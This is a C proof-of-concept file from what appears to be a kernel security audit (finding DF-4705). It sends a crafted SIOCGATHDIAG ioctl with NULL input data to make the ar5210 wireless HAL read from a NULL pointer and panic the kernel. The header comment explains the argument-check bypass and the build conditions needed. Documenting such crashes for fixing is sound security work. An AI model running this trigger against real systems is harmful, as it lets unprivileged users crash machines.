DF-4705 / trigger.c
/* * DF-4705 - ar5210GetDiagState HAL_DIAG_EEREAD NULL-args read -> kernel panic * * SIOCGATHDIAG with: * ad_id = ATH_DIAG_DYN | HAL_DIAG_EEREAD (0x8011) * ad_in_size = 2 -> passes the argsize==sizeof(uint16_t) check * (ar5210_misc.c:638) * ATH_DIAG_IN *NOT* set -> ath_ioctl_diag leaves indata == NULL * (if_ath_ioctl.c:174,180-192) -> args == NULL * ATH_DIAG_DYN set -> outdata = kmalloc(2): *result is a VALID * pointer, so the only NULL deref at * ar5210_misc.c:642 is `*(const uint16_t *)args` * (this is what discriminates this finding from * the known DF-1819 *result==NULL write) * * Requires: kernel built with options ATH_DIAGAPI (not in stock GENERIC), * an ath(4) interface backed by ar5210 HAL, unprivileged socket. * On such a system: ar5210_misc.c:642 reads 2 bytes from NULL -> * kernel page fault -> panic. On the stock audit guest: no ath device / * no ATH_DIAGAPI -> ioctl fails harmlessly (harmless exit documented). */ #include <sys/socket.h> #include <sys/ioctl.h> #include <stdio.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <net/if.h> /* trimmed from sys/dev/netif/ath/ath/if_athioctl.h (not installed in * /usr/include on the guest) */ #define ATH_DIAG_DYN 0x8000 #define ATH_DIAG_IN 0x4000 #define ATH_DIAG_ID 0x0fff #define HAL_DIAG_EEREAD 17 struct ath_diag_df { char ad_name[IFNAMSIZ]; unsigned short ad_id; unsigned short ad_in_size; char *ad_in_data; char *ad_out_data; unsigned int ad_out_size; }; #define SIOCGATHDIAG_DF _IOWR('i', 138, struct ath_diag_df) int main(void) { struct ath_diag_df ad; char outbuf[2]; int s, error; memset(&ad, 0, sizeof(ad)); strcpy(ad.ad_name, "ath0"); ad.ad_id = ATH_DIAG_DYN | HAL_DIAG_EEREAD; /* NO ATH_DIAG_IN */ ad.ad_in_size = 2; /* passes argsize check */ ad.ad_in_data = NULL; /* args == NULL in HAL */ ad.ad_out_data = outbuf; /* valid -> *result OK */ ad.ad_out_size = sizeof(outbuf); s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { perror("socket"); return (1); } error = ioctl(s, SIOCGATHDIAG_DF, &ad); printf("ioctl SIOCGATHDIAG -> %d errno=%d (%s)\n", error, errno, strerror(errno)); if (error == 0) printf("EEPROM word = 0x%02x%02x (no panic: not ar5210?)\n", outbuf[1], outbuf[0]); else printf("expected on gate-absent guest: harmless error, " "no panic\n"); close(s); return (0); } |